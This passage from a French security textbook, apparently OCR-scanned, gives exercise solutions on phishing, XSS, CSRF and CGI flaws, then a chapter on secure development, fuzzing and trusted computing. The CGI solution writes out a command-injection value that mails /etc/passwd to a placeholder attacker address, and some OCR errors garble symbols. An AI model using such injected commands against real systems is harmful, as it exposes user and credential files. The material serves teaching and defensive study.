Corrigé 117 : Sites Web malveillants L’hameçonnage (en anglais «phishing»), aussi appelé filoutage, est une fraude pour obtenir des renseignements personnels sur une cible. L’utilisateur est dirigé vers un site malveillant, souvent très ressemblant à l’original. Cet aiguillage malveillant est en général réalisé grâ ce à l’ingénierie sociale. Si l’utilisateur saisit ses données, alors l’attaquant pourra les récupérer et donc les utiliser. Le dévoiement (en anglais «pharming») est similaire à l’hameçonnage dans ces objectifs. En revanche, l’arrivée de la cible est différente. Elle est due à une vulnérabilité du système de noms de domaine (DNS). Les scams sont des arnaques tentant d’escroquer des fonds à des internautes. L’attaque consiste à leur faire miroiter une somme d’argent. Le détournement de clics (en anglais «clickjacking») force l’utilisateur à cliquer sur quelque chose dont il n’est pas conscient. Souvent, l’attaquant superpose des liens. On peut aussi citer des attaques de type «man-in-the-browser». Un code malveillant est installé dans la machine. Il permet aux attaquants de voir les transactions Web, d’exécuter des transactions à leur guise. Ce type d’attaque est notamment utilisé pour réaliser des transactions financières sur des systèmes de e-banking à l’insu de l’utilisateur. Ces codes malveillants sont suffisamment malins pour masquer les transactions malveillantes à l’utilisateur dans la liste des transactions ainsi que montrer une balance correcte. Depuis, les banques ont mis en place un système ne permettant plus de réaliser une nouvelle transaction sans utiliser un facteur externe pour la transaction concernée (téléphone mobile, calculatrice, etc.), en plus de l’authentification à l’ouverture de la connexion. Corrigé 118 : Vulnérabilité Web 1. Apparemment, les noms de factures contiennent un numéro de séquence. L’assuré malveillant pourrait essayer de changer le numéro de séquence pour voir s’il obtient l’accès à d’autres factures. 2. Les fichiers se trouvent tous dans le même répertoire et il serait probablement compliqué de mettre en place un contrô le d’accès pour limiter l’accès aux fichiers uniquement aux assurés légitimes. Les deux stratégies suivantes sont possibles : Au lieu d’une numérotation séquentielle, l’application pourrait générer des numéros aléatoires et trop long pour être devinés. Ainsi, l’assuré ne pourrait retrouver que les factures que l’application lui a montré. Au lieu de stocker le PDF des factures dans des fichiers, il pourrait être généré à la volée par une page Web de l’application. Celle-ci pourrait utiliser des références indirectes pour trouver la facture à générer. Cette référence ne serait valide que pour l’utilisateur concerné.
Corrigé 119 : «Cross-site scripting»
1. Le Club des papis parachutistes de Rauville-la-Bigot dispose d’un livre d’or en ligne sur son site Web. Les messages déposés par les fans des papis sont affichés à tous les internautes. Un attaquant dépose dans ce livre d’or un script dont la fonction est de diriger les internautes vers un autre site Web. Lorsqu’un internaute se rend sur la page du livre d’or, le script s’exécute et renvoie automatiquement l’internaute sur un autre site, que l’attaquant aura judicieusement choisi. En utilisant d’autres astuces, l’attaquant peut même faire en sorte que ce soit la victime elle-même qui envoie le code malveillant sur le site Web. Etudions le scénario suivant : l’attaquant envoie un courrier électronique dont le sujet contient un script ayant pour fonction de récupérer le cookie attaché au site actuellement visité et de l’envoyer à l’attaquant (soit par courrier électronique, soit en se connectant à un autre site Web). Lorsque la victime ouvre sa boîte aux lettres via l’interface Web de son fournisseur de services, tous les sujets des courriers reçus s’affichent à l’écran. Si l’application Web ne vérifie pas l’absence de données indésirables dans les titres, le script s’exécute envoyant ainsi le cookie d’authentification de la victime à destination de l’attaquant. Celui-ci peut alors lire les courriers jusqu’à ce que la durée de validité du cookie expire. La figure 10.5 est une copie d’écran d’une interface de messagerie sur le Web qui ne résiste pas au «cross-site scripting» : les balises HTML dans l’objet du courrier provenant d’Alice Térik ont été interprétées. FIGURE 10.5. Interface de messagerie ne résistant pas au «cross-site scripting» Considérons enfin un dernier exemple. Un attaquant envoie un courrier électronique à sa victime lui demandant de se rendre à une URL donnée dans le courrier, par exemple le site de banque en ligne de la victime (un peu d’ingénierie sociale peut aider pour cette duperie). L’URL, qui contient un script (qui peut être caché ou rendu difficilement compréhensible en utilisant quelques astuces), correspond en fait à une page inexistante sur le site Web. Le serveur Web renvoie alors à l’internaute une page d’erreur indiquant que la page est inexistante en rappelant éventuellement l’URL demandée. Dans ce cas, si le serveur Web ne vérifie pas le format de l’URL, le script s’exécute chez la victime. Comme précédemment, l’esprit fertile de l’attaquant permet de terminer la duperie ; un script affichant une page ressemblant à la page d’authentification à la banque permettra à l’attaquant de se faire envoyer le mot de passe de sa victime. 2. Du cô té de l’internaute, il est possible d’éviter certaines de ces attaques en interdisant l’exécution de scripts dans le navigateur. Cette solution ne permet cependant pas d’éliminer toutes les attaques de type XSS. La solution doit être trouvée du cô té du concepteur du site Web. En effet, il faut que le celui-ci s’assure que les pages générées dynamiquement ne peuvent contenir du code non désiré, en validant les données qui sont fournies par les internautes (script ou HTML contenu dans une URL, données fournies dans un formulaire, etc.). Cible. Une XSS vise les internautes qui consultent le site. Une CSRF vise en général le serveur Web (en utilisant les privilèges de l’internaute). Confiance. Une XSS exploite la confiance qu’un internaute donne à un site Web. Une CSRF exploite la confiance qu’un serveur Web donne à un client. Corrigé 124 : Protections contre les attaques CSRF Il existe plusieurs moyens de se prémunir contre les CSRF. Ci-dessous, trois possibilités sont présentées : 1. Il est possible pour le serveur de vérifier le champ Refer. Seules les requêtes provenant de la bonne page seront acceptées. 2. Il est important de noter que l’action est déclenchée avec une seule requête. En ajoutant une page de confirmation, cette seule requête ne pourrait pas directement permettre l’action, mais avertirait l’utilisateur. 3. Il est également important de remarquer que la requête est prévisible et non liée au contexte. Pour éviter qu’un attaquant puisse construire des requêtes valides, il est possible que le serveur ajoute un jeton anti-CSRF. Ce jeton doit être non prévisible et donc aléatoire. Ce jeton est ajouté à la page ou au formulaire fourni au client. Seule une réponse contenant le même jeton sera accepté. Si aucune action n’est attendue (aucun jeton n’a été généré), la requête sera invalidée par le serveur et une attaque CSRF ne sera donc pas possible. Corrigé 125 : Vulnérabilités des scripts CGI 1. L’objectif du script CGI proposé, tel qu’il a été prévu par son concepteur, est d’envoyer un courrier électronique à la personne ayant fourni son adresse électronique par l’intermédiaire de la page Web. 2. L’attaquant peut seulement remplir la ligne du champ du formulaire. Il va donc essayer d’introduire des commandes dans ce champ afin de tromper le script CGI du serveur HTTP qui va traiter la requête. 3. La commande open du langage Perl permet d’ouvrir un fichier ; sa syntaxe (man perlopentut) est open FILEHANDLE, EXPRESSION. L’expression, placée entre guillemets, comportera un caractère précisant le mode d’ouverture du fichier, suivi d’un nom de fichier ou de toute autre expression shell qui sera exécutée. Dans notre cas, /usr/lib/sendmail Sadresse sera donc exécutée.Si la variable $adresse ne contient pas qu’une simple adresse électronique, mais une expression de la forme totoSunsite. com ; mail hacker@hacking. com</etc/passwd alors /usr/lib/sendmail toto@unsite.com sera exécuté, puis (le point-virgule séparant deux instructions shell) mail hackerShacking. com</etc/passwd. Cette seconde instruction envoie chez l’attaquant le fichier des utilisateurs du serveur exécutant le script CGI. Le fait qu’un attaquant puisse ajouter une deuxième instruction séparée par un point- virgule est souvent négligé par les développeurs. Dans notre cas, saisir dans le champ du formulaire hackerQhacking.com</etc/passwd aurait déjà suffit à nous faire envoyer le fichier des utilisateurs (qui serait inséré entre les en-têtes du courrier). D’autres attaques sont bien entendu possibles avec ce script particulièrement mal implémenté, comme par exemple ouvrir un terminal de contrô le à distance. Corrigé 126 : Scanners de vulnérabilités 1. Le scanner va tenter d’envoyer un chemin ciblant un fichier connu (win.ini ou /etc/shadow) et analyser la réponse pour voir s’il l’a obtenu. 2. Il peut y avoir des éléments cachés révélant des informations importantes. Le scanner aura une liste de fichiers typiques à chercher, par exemple des fichiers de sauvegardes (tels que des extensions .php.bak ou ,php~). 3. Le scanner peut identifier rapidement des champs de mots de passe envoyés en clairs simplement en analysant les requêtes. 4. Les cookies peuvent aussi faire remonter une mauvaise gestion des sessions, par exemple avec une entropie trop faible. De plus, afin d’éviter le vol par XSS, certains cookies ne devraient pas être accessibles au code client (comme du Javascript). Pour cette raison, il existe un paramètre HttpOnly qui devrait être activé. Cela est facilement vérifiable par le scanner dans les en-têtes HTTP. En utilisant HTTPS, il est aussi possible d’utiliser le cookie uniquement dans le cadre des sessions sécurisées avec le paramètre Secure. 5. Le scanner émet des requêtes en modifiant les champs possibles : champs de formulaire, paramètres dans l’URL, etc. Le scanner va placer dans ces champs des textes précis, sû rement avec des caractères spéciaux. Si la réponse contient un de ces champs de texte, le scanner peut conclure que l’utilisateur a le contrô le sur des données affichées à l’utilisateur et qu’elles ne sont pas modifiées par le serveur. Une attaque XSS est donc envisageable. 6. Les scanners envoient des requêtes en remplissant le formulaire ou le paramètre avec des chaînes SQL connues pour déclencher une erreur. Chapitre 11 Développement sécurisé À ce jour, il n’est plus possible d’espérer obtenir une application offrant un certain niveau de sécurité sans que son développement ait tenu compte de la sécurité dès le début. Ce chapitre vise, dans un premier temps, à introduire la notion de processus de- développement sécurisé, un processus mis en œuvre dans de nombreuses entreprises pour obtenir un niveau de sécurité acceptable dans des applications logicielles d’envergure. Ensuite, nous discutons le concept d’audit de code et les outils que l’on peut utiliser à ces fins. Finalement, nous introduisons le concept d’informatique de confiance, sur lequel repose parfois la sécurité des versions modernes de nos systèmes d’exploitation, ou celle de matériel plus spécialisé, tels que des décodeurs vidéo, par exemple. 11.1 Processus de développement sécurisé Dans cette partie, nous présentons un processus typique de développement sécurisé semblable à ceux que l’on peut rencontrer en pratique. Ce processus, connu sous l’acronyme de SDL («Security Development Lifecycle»), a été développé et mise en œuvre par Microsoft dès 2004, dans le but d’améliorer significativement la sécurité de ses systèmes d’exploitation et de ses logiciels. On notera qu’il peut s’intégrer à différents types de cycles de développement (itératif, waterfall, etc.). Ce processus est structuré en six phases distinctes, à savoir les phase d’exigences, de conception, d’implémentation, de vérification, de mise en production et de maintenance, que nous présentons succinctement dans les sections suivantes. Il faut noter que le processus SDL peut sans autre être combiné avec les processus classiques de développement logiciel, telles que les méthodes agiles, par exemple. 11.1.1 Phase d'exigences Lorsque l’on souhaite que la sécurité d’une application logicielle soit la meilleure possible, il est nécessaire de commencer à y penser dès le début de son développement. En effet, si l’on se contente de tester la sécurité du logiciel de façon tardive, les coû ts à investir pour corriger des vulnérabilités découlant d’une mauvaise conception seront très élevés, dans tous les cas beaucoup plus élevés que les coû ts induits par la prise en charge de la sécurité dès le début du développement. Lors de la phase d’exigences, la première tâ che à effectuer consiste à identifier si le logiciel qui va être développé doit suivre le processus SDL. Si c’est le cas, il est temps de nommer une personne de référence dans l’équipe de développement qui sera responsable pour tout ce qui concerne les aspects sécuritaires. De plus, il faut s’assurer que les outils nécessaires pour effectuer le suivi des problèmes sécuritaires sont bien en place et fonctionnels. Il est également temps de fixer l’ensemble des critères qui établissent le niveau minimal de sécurité acceptable. Ce dernier ne devrait jamais être descendu durant la vie du projet, particulièrement lorsque la date de mise en production se rapproche. Définir le niveau de sécurité minimal dès le début du projet permet aux équipes de développement de mieux identifier les risques associés aux aspects sécuritaires. Durant cette phase de définition d’exigences, un document devra être rédigé (appelé security plan document) qui décrit les processus qui devront être suivis, les tâ ches qui devront être effectuées et les ressources qui devront être allouées en rapport avec la sécurité dans les phases ultérieures. Ce document devrait contenir des informations au sujet des formations éventuelles à effectuer par les membres de l’équipe de développement, de la façon dont les menaces seront modélisées, ou encore comment sera effectuée la revue finale de sécurité. Enfin, on profitera également durant cette phase d’effectuer une évaluation des risques sécuritaires dans le but d’identifier les aspects fonctionnels du logiciel sur lesquels il faudra être particulièrement vigilant en termes de sécurité. 11.1.2 Phase de conception La phase de conception est le moment où seront établis les plans d’action précis en matière de sécurité pour tout le reste de la vie du projet. Les spécifications fonctionnelles du logiciel doivent prendre en compte les aspects sécuritaires qui sont directement exposés aux futurs utilisateurs, tels que les mécanismes d’authentification et d’autorisation, ou les fonctionnalités qui ont des impacts importants sur la vie privée des utilisateurs. Les spécifications de conception doivent décrire comment ces aspects sécuritaires devront être implémentés vis-à -vis de la sécurité. Par exemple, c’est dans ce document que l’on spécifiera quel mécanisme d’authentification utiliser, comment valider de façon rigoureuse les entrées du logiciel, etc. Une autre tâ che très importante effectuée lors de cette phase est la modélisation des menaces. Ce processus consiste à identifier de manière minutieuse et systématique toutes les menaces s’appliquant au logiciel en devenir. Il doit absolument être effectué avant la phase d’implementation, de façon à ce que les équipes de développement comprennent bien la nature des données sensibles qui seront traitées, les menaces et les vulnérabilités en jeu et la façon dont le projet les traite. Cette modélisation des menaces doit énumérer de façon exhaustive toutes les entrées et les sorties du logiciel, les différents domaines de confiance et leurs frontières communes, une liste des hypothèses prises durant cette étape de modélisation des menaces, ainsi que toutes les dépendances externes du logiciel, entre autres. Enfin, un document décrivant les recommandations en matière de sécurité doit être rédigé. Ce dernier comprendra notamment des informations au sujet : de la description de la surface d’attaque, en configuration par défaut ou maximale ; de la façon de structurer le logiciel ; de la stratégie utilisée pour minimiser la surface d’attaque ; du respect des principes de base en sécurité de l’information (voir la section 1.3) ; etc. 11.1.3 Phase d’implémentation Lors de la phase d’implémentation, il s’agit, dans un premier temps, de spécifier les bonnes pratiques en termes d’implémentation, et, dans un second temps, de mettre en pratique ces bonnes pratiques. Plus précisément, c’est le moment où un certain nombre d’outils et de processus sont mis en place pour s’assurer que le code produit possède la plus haute sécurité possible. Ces bonnes pratiques incluent notamment : le respect des bonnes pratiques spécifiques au(x) langage(s) de programmation utilisé(s) ; l’utilisation de pratiques de programmation défensive ; l’interdiction d’utiliser des routines standard considérées comme dangereuses, comme par exemple strcpy ( ) en C ; l’utilisation des options de compilation permettant, le cas échéant, de renforcer la sécurité des binaires. On pense ici à l’utilisation de mécanismes de protection de la pile, ou de mécanismes de défense contre les manipulations de mémoire ; l’utilisation de bibliothèques spécialisées offrant des fonctionnalités cryptographiques ou sécuritaires ; la validation systématique des entrées et des sorties du logiciel, selon une approche de liste blanche ; l’intégration d’outils de scan de code dans le processus de compilation permettant d’éviter de manière systématique les pièges classiques et bien connus ; etc. 11.1.4 Phase de vérification La phase de vérification est dédiée à établir l’assurance que le logiciel respecte bien le niveau de sécurité minimal établi lors des phases précédentes. Cela implique notamment de vérifier que tous les aspects fonctionnels sécuritaires sont présents et remplissent leur rô le. Cette phase s’effectue par l’utilisation de tests fonctionnels sécuritaires. On s’assurera ainsi que les aspects sécuritaires fonctionnent comme espéré, et surtout, qu’ils ne peuvent pas être contournés. Cette phase de vérification peut également s’appuyer sur des tests d’intrusion et des revues de code, de façon à identifier pro- activement le plus de vulnérabilités possibles. Elle devrait idéalement être effectuée par une ou des équipes externes, ce qui apporte deux avantages majeurs : premièrement, un regard externe à l’équipe de développement permet souvent de soulever des problèmes qui n’avaient pas été identifiés auparavant ; deuxièmement, effectuer des tests d’intrusion est une activité spécialisée qui nécessite des connaissances et de l’expérience que ne possèdent pas forcément une équipe de développement. Finalement, c’est durant la phase de vérification qu’il est recommandé d’effectuer un security push, à savoir une revue globale par l’équipe de développement des modèles de menaces, des résultats des revues de code et des tests d’intrusion. En d’autres termes, c’est un effort coordonné pour identifier des changements durant la période de développement qui pourraient avoir des impacts sur la sécurité du logiciel. Pour qu’un security push soit efficace, il faut évidemment que du temps et des ressources lui soient alloués. 11.1.5 Phase de mise en production La phase de mise en production est le moment où l’application est prête à être livrée à ses utilisateurs finaux. Malgré toutes les mesures mises en place, il est à peu près certain qu’un logiciel mis en production possède encore des vulnérabilités, et que certains des composants dont il dépend vont devoir être corrigés une fois déployés. C’est pourquoi, lors de cette phase, il est recommandé de définir un plan d’action décrivant le processus à suivre lorsqu’un événement en rapport avec la sécurité du logiciel se passe : implémentation et tests de correctifs, mise en production de correctifs, etc. L’idée est que l’équipe de développement soit prête à réagir de la meilleure façon possible à une urgence en matière de sécurité. Finalement, juste avant de mettre en production le logiciel, on effectue une revue finale de sécurité, qui décide si le logiciel est prêt ou pas, en termes de sécurité, à être livré. Cette revue finale est normalement effectuée par une équipe spécialisée différente de l’équipe de développement. Des tests supplémentaires peuvent être effectués à ce moment. 11.1.6 Phase de maintenance La phase de maintenance est la période durant laquelle le logiciel est en production chez ses utilisateurs. Durant cette période, des correctifs peuvent être implémentés en réponse à des vulnérabilités découvertes après la mise en distribution. Dans certains cas, des équipes dédiées sont responsables d’analyser les vulnérabilités de type 0-day exploitées par des vecteurs malveillants, tels que virus ou vers, et d’identifier les mesures correctives nécessaires. 11.2 Audits et scanners de code Dans cette partie, nous nous attachons à décrire plus précisément les audits de code, qu’ils soient réalisés de manière manuelle ou automatique. 11.2.1 Revue manuelle de code Lorsqu’on applique un processus de développement sécurisé, les relectures de code font partie intégrante de la phase de vérification. Naturellement, une revue de code doit être effectuée par un développeur n’ayant pas écrit ce code. Idéalement, cela devrait être quelqu’un d’externe à l’équipe de développement, qui n’est pas partie prenante dans le projet, car une vue tierce est souvent précieuse pour débusquer des problèmes subtils. Effectuer des revues manuelles de code au sein d’une équipe de développement ne va pas sans difficultés. Premièrement, le nombre de lignes de code pouvant être relues manuellement est souvent faible, car c’est une activité relativement pénible. Ceci peut devenir un problème pour les projets d’envergure comportant des milliers, voire des millions de lignes de code. Deuxièmement, il n’est pas agréable pour un développeur n’ayant pas l’habitude de cet exercice, de se faire relire son code, car, explicitement ou implicitement, un jugement qualitatif est effectué sur son travail. Un des avantages majeurs des revues de code manuelles est qu’elles permettent d’identifier des problèmes subtils que ne découvriront pas les outils automatiques. Un relecteur humain est en effet au fait de la sémantique du code qu’il relit, ainsi que des commentaires (quand ils sont présents ...) livrés par le développeur ; de plus, il dispose de plusieurs documents, tels que les spécifications fonctionnelles et sécuritaires, ou l’architecture sécuritaire, qui l’aident à comprendre les buts à atteindre. Enfin, un relecteur de code humain possède souvent une grande expérience en termes de développement et de sécurité que ne possèdent pas un outil automatique. Par contre, un des défauts majeurs des relecteurs de code humains est qu’ils ne sont pas forcément efficaces pour identifier de manière exhaustive les vulnérabilités en lien avec la syntaxe du langage de programmation utilisé, ou l’utilisation de routines dangereuses. Dans ce but, on recommande plutô t d’utiliser des scanners de code. 11.2.2 Scanners de code et instrumentation de binaires Les scanners de code sont des outils automatiques, qui s’intègrent souvent dans les environnements de développement habituels, et qui permettent de vérifier un certain nombre de critères sécuritaires sur le code écrit par un développeur. Ils permettent, grâ ce à leurs importantes bases de données d’utilisations problématiques, d’attirer l’attention du développeur sur une partie de son code potentiellement dangereuse, tout en lui expliquant les raisons de sa décision. Le développeur est ensuite libre d’estimer s’il s’agit d’un faux positif, ou s’il convient d’apporter un correctif à son code. Les scanners de code permettent ainsi, de manière automatique, de nettoyer de grandes quantités de code vis-à -vis de vulnérabilités bien connues et bien comprises. Naturellement, il reste toujours nécessaire d’interpréter à bon escient leurs indications, et ils ne seront jamais capables d’identifier des failles sécuritaires subtiles. Travaillant de manière statique sur le code, c’est-à -dire avant sa compilation ou son interprétation, les scanners de code ne sont pas souvent capables d’identifier des problèmes en relation avec la gestion de la mémoire, comme des débordements de tampon, des corruptions de structures de données sensibles, des fuites de mémoires, etc. Pour ce faire, il est possible d’identifier ce genre de problèmes de manière dynamique en instrumentant l’exécutable binaire. En d’autres termes, il s’agit de fournir l’exécutable binaire à un outil, qui va le modifier dynamiquement, ou le compiler au moyen de fonctionnalités d’instrumentation, et de l’exécuter. Cette version modifiée de l’exécutable sera ainsi capable de détecter tout un ensemble de problèmes qui ne peuvent être identifiés statiquement. 11.2.3 Scanners de vulnérabilités et fuzzing Certaines vulnérabilités ne peuvent être découvertes que via une interaction avec ses points d’entrées. Si l’on prend l’exemple d’une application Web écrite en PHP, il sera certes possible pour son développeur d’utiliser un scanner de code afin d’identifier des problèmes potentiels. Néanmoins, une grande partie des vulnérabilités ne peut être que détectée en interagissant avec les points d’entrée de l’application. Un scanner de vulnérabilités est un outil capable d’interagir avec une application ou un système, qu’il va considérer comme une boîte noire, dans le but d’identifier des vulnérabilités. Pour ce faire, il peut disposer d’une importante base de données de vulnérabilités connues, qu’il pourra tester de manière exhaustive. Il peut également utiliser des heuristiques pour fabriquer des requêtes, s’il s’agit d’une application Web, ou des entrées, s’il s’agit d’une application standard, qui sont potentiellement malveillantes et qui permettent de vérifier que le mécanisme de validation des entrées de l’application, pour autant qu’il existe, est efficace. L’idée d’interagir avec le logiciel et de le stresser en lui soumettant des entrées sortant du cadre habituel est également applicable aux exécutables binaires. Cette stratégie s’appelle le fuzzing et elle est principalement utilisée en pratique pour découvrir des vulnérabilités en relation avec la gestion de mémoire. La stratégie de fuzzing la plus simple consiste à envoyer des valeurs pseudo-aléatoires à toutes les entrées de l’exécutable, et de détecter un plantage de ce dernier. Cette stratégie, bien que très simple à mettre en œuvre, n’est, pas très efficace car elle ne tient pas compte du format des entrées. Ainsi, la plupart du temps, on ne peut couvrir de cette manière qu’une partie négligeable du code exécutable. Des stratégies plus avancées consistent à partir d’une base d’entrées valides, qui ont de la signification pour l’application, et à les modifier de manière pseudo-aléatoire. Ainsi, la couverture de code obtenue sera naturellement plus grande et la probabilité de découvrir une vulnérabilité sera plus importante. On peut augmenter encore l’efficacité du fuzzing en instrumentant le logiciel à auditer. En l’exécutant dans un débogueur ou en lui ajoutant des instructions spécifiques, l’outil de fuzzing peut remarquer quand une entrée provoque une séquence d’exécution différente, ce qui peut lui permettre de faire des choix éclairés sur les entrées à générer. Plus une stratégie est intelligente, plus il est difficile de la rendre générique et capable de trouver des failles dans un grand nombre de logiciels. Un bon exemple d’un fuzzer efficace et générique est le logiciel American Fuzzy Lop qui a permis de découvrir des failles dans des logiciels aussi variés que des navigateurs (Firefox, Chrome, Internet Explorer), des librairies graphiques (libpng, libtiff, libjpeg-turbo) et cryptographiques (GnuTLS, GnuPG, OpenSSH). On notera qu’il est important que les perturbations ou les données soumises à l’application soient générées de manière pseudo-aléatoire, c’est-à -dire de manière déterministe. En effet, en cas de plantage, il doit être possible de rejouer la séquence, dans le but de caractériser la vulnérabilité, de mieux la comprendre et de la corriger. 11.3 Informatique de confiance L’informatique de confiance est un concept qui consiste à protéger du logiciel lors de son exécution, que cela soit un système d’exploitation ou une application, pour éviter qu’il ne puisse être manipulé pour s’exécuter d’une manière différente de celle pour laquelle il a été conçu. Les ingrédients pour atteindre ce but sont un composant matériel réputé inviolable, des clefs asymétriques et des méthodes cryptographiques permettant de vérifier et de contrô ler l’intégrité de tous les logiciels s’exécutant sur la plateforme. Ainsi, une grande proportion d’ordinateurs récents sont munis d’un composant appelé TPM (« Trusted Platform Module ») qui est directement intégré sur la carte-mère ; ces systèmes sont ainsi conformes aux spécifications du TCG (« Trusted Computing Group »), qui est un consortium d’acteurs majeurs dans le domaine informatique. Ce composant, possède souvent des caractéristiques similaires à celles d’une carte à puce. D’autres exemples où l’informatique de confiance joue un rô le important sont la sécurisation des smartphones modernes, des décodeurs vidéo et, plus généralement, de tous les systèmes informatiques requérant une sécurité élevée. L’idée de base de l’informatique de confiance est qu’il est significativement plus coû teux d’extraire des secrets d’un composant matériel sécurisé que d’un logiciel. En effet, même s’il est quasiment toujours possible de violer l’intégrité d’un composant matériel, aussi sû r soit-il, les moyens et les connaissances nécessaires sont nettement plus coû teux et difficiles à mettre en œuvre que dans le cas d’un système reposant uniquement sur du logiciel. Un exemple d’un système efficace reposant sur l’informatique de confiance est le système d’exploitation pour smartphones iOS et le canal de distribution mis en place et contrô lé par l’entreprise Apple. Le matériel développé par Apple vérifie l’authenticité du système d’exploitation avant de le démarrer. Celui-ci vérifie que les applications installées ont bien été signées par Apple. Enfin, Apple contrô le la qualité et le type d’applications qui sont disponibles. Il arrive que des failles permettant d’exécuter du code arbitraire sous iOS soient découvertes. On parle alors d’un jailbreak. Néanmoins, Apple réagit rapidement avec des mises à jour logicielles et matérielles et les jailbreak sont de plus en plus rares. Pour les ordinateurs personnels, il est plus difficile d’obtenir un contrô le aussi serré sur l’exécution de logiciels. Un TPM est capable de stocker des clefs et des informations concernant l’ordinateur de manière sécurisée et peut fournir les services suivants : Vérification de l’intégrité de la plateforme : les caractéristiques matérielles de l’ordinateur ainsi que l’empreinte du code utilisé pour le démarrer peuvent être stockés dans le TPM sous forme d’une empreinte cryptographique. À l’aide d’une clef privée unique, le TPM est capable d’attester, même à distance, que la plateforme est encore intègre. Un fournisseur de contenu pourrait par exemple exiger cette attestation avant de livrer un logiciel ou un film. Protection des clefs : des clefs, utilisables pour chiffrer un disque dur, par exemple, peuvent être stockées dans le TPM. Celui-ci pourra être instruit de ne fournir ces clefs seulement si la plateforme est intègre, c’est à dire si le code utilisé pour démarrer l’ordinateur n’as pas été modifié. Authentification : le TPM peut être utilisé pour vérifier des mots de passe. Comme l’empreinte des mots de passe est stockée dans la puce et pas sur le disque dur, il n’est pas possible de récupérer le mot de passe en cassant l’empreinte. Avec un TPM, il est possible depuis Windows 8 de contrô ler totalement le processus de démarrage et le chargement du système d’exploitation ; ainsi, on s’assure qu’aucun code malveillant n’est présent dans le système. Ceci permet donc de détecter des rootkits qui s’exécutent avant le système d’exploitation, du type de TDL-4 (voir la section 7.1.1). Certaines applications critiques peuvent aussi être signées et vérifiées par le système d’exploitation, mais on reste encore loin d’une interdiction d’exécution de tout logiciel qui n’aurait pas été signé par Microsoft. Il faut noter que si le TPM permet de vérifier l’intégrité du système lors de son démarrage, il ne peut pas empêcher qu’un système différent soit démarré, par exemple à partir d’une clef USB. Cette fonctionnalité peut être obtenue avec l’option dite de secure boot des BIOS récents qui sont compatibles avec la norme UEFI. Ainsi, avec le concept de secure boot, il est techniquement possible de vendre un ordinateur qui n’accepte pas d’autre système d’exploitation que celui qui est déjà installé. Le but louable des systèmes permettant de contrô ler l’exécution d’un logiciel est d’empêcher la propagation de codes malveillants et de rendre plus difficile l’exploitation de failles de sécurité. De leur cô té, les détracteurs de ces méthodes estiment qu’un dessein plus controversé de ces dernières est la protection des droits numériques pour empêcher le piratage, voire d’asseoir le monopole des éditeurs de logiciels et de limiter les droits du propriétaire légitime du matériel et des logiciels. À ce point, une conclusion pessimiste concernant l’informatique de confiance peut émerger. Il apparaît que toutes les mesures techniques présentées dans cet ouvrage ne suffisent pas pour créer un système vraiment sécurisé. Le seul moyen d’y arriver serait de sacrifier la liberté de pouvoir installer le logiciel que l’on désire sur son ordinateur. Le lecteur attentif aura sû rement remarqué que ce ne sont pas les plateformes libres, comme Linux par exemple, qui souffrent le plus des problèmes de sécurité que l’informatique de confiance veut éliminer. Il est donc permis d’espérer pouvoir conserver un peu de liberté à l’avenir. 11.4 Lectures complémentaires L’article décrivant l’introduction du processus SDL par Lipner et Howard et intitulé The trustworthy computing security development lifecycle est à recommander. Les mêmes auteurs ont également rédigé un livre [30] à ce sujet, The security development lifecycle - SDL : a process for developing demonstrably more secure software. Un ouvrage désormais devenu un classique dans le domaine du développement sécurisé est la deuxième édition de Writing secure code [38], par David LeBlanc et Michael Howard. Les Seven touchpoints of security sont une méthode moins lourde et moins axée sur l’environnement Microsoft décrite par Gary McGraw dans son livre Software security - building security in [45]. Dans le domaine de l’informatique de confiance, on lira avec intérêt la FAQ de Ross Anderson, qui bien que datant un peu, reste terriblement d’actualité. Finalement, du même auteur, on ne peut que chaleureusement recommander son livre Security engineering [1] à quiconque souhaitant développer un système sécurisé. À noter qu’une version gratuite au format PDF est disponible sur le site Web de l’auteur. Énoncés des exercices Exercice 127 : Appel système chroot ( ) Un spécialiste en développement sécurisé sur Linux explique que [...] un programme n’appelle pas chdir ( ) lorsqu’il appelle chroot ( ), ce qui pourrait permettre à un attaquant de sortir de l’environnement restreint. Expliquer en une phrase ce que fait l’appel système chroot ( ). Expliquer comment on peut utiliser l’appel système chroot pour durcir la sécurité d’un démon, c’est-à -dire, d’un programme s’exécutant en tâ che de fond, comme un serveur Web. En sachant qu’il est possible de sortir d’un environnement restreint lorsque l’on possède les droits d’administrateur (root), comment traiter ce risque lors du développement d’un serveur Web? Solution p.355 Exercice 128 : Sentinelle matérielle Une sentinelle matérielle est un petit composant qui se branche sur un ordinateur via le port USB dans le but de fournir des fonctionnalités sécuritaires. L’inventeur d’un algorithme très performant dans le domaine de l’imagerie médicale souhaite le protéger contre la rétro-conception, et on lui conseille l’utilisation d’une sentinelle matérielle. Cette dernière est constituée d’un CPU avec une fréquence de 1 GHz, de 256 MB de RAM ainsi que d’une mémoire de type flash de 32 GB. 1. Expliquer brièvement comment une sentinelle matérielle pourrait contribuer à renforcer la résistance au reverse engineering de cet algorithme. 2. Pourquoi est-il plus difficile de casser un mécanisme de protection reposant sur un composant matériel ? 3. Quels sont les avantages et désavantages des sentinelles matérielles ? Solution p.356 Exercice 129 : Processus de développement sécurisé Un nouveau projet de développement logiciel va commencer tout prochainement au sein d’une entreprise de vente en ligne. Cette application devra traiter des numéros de cartes de crédits, ainsi que d’autres informations sensibles. Pour cette raison, un budget d’une certaine importance a été débloqué pour s’assurer de la sécurité du produit final. Expliquer comment il est possible d’intégrer la sécurité dans le processus de développement de cette application. La personne responsable de la sécurité de l’application hésite entre effectuer une revue de code manuelle, et utiliser un scanner de code. Quels sont les avantages et les inconvénients des deux solutions ? Solution p.356 Exercice 130 : Techniques de protection logicielle Dans certains cas, utiliser un composant matériel pour durcir la sécurité d’une application logicielle se révèle trop onéreux. Décrire brièvement les six techniques suivantes de protection logicielle, et pour chacune d’entre elles, expliquer quelles sont les attaques visées : 1. Obfuscation logicielle 2. Tatouage de code 3. Tamper-proofing 4. Techniques anti-débogage 5. Attestation à distance 6. Utilisation d’un packer Solution p.356 Exercice 131 : Groupe responsable de la sécurité Dans leur article intitulé The trustworthy computing security development lifecycle, Lipner et Howard se font l’avocat [...] un groupe centralisé au sein de l’entreprise qui dirige le développement et l’évolution des bonnes pratiques en matière de sécurité, sert de source d’expertise pour l’organisation entière, et effectue des revues [...] avant que le logiciel ne soit mis en production. Pourquoi un tel rô le ne pourrait-il pas être assumé directement par les équipes de développement ? Expliquer le contexte historique de cet article. Qui a initié cette initiative pour plus de sécurité chez Microsoft ? Pourquoi était-il si important que cela soit cette personne précise, et pas une autre ? Solution p.357 Exercice 132 : Debian et les scanners de code Debian est une distribution de Linux réputée pour sa stabilité et le sérieux de son développement. Néanmoins, 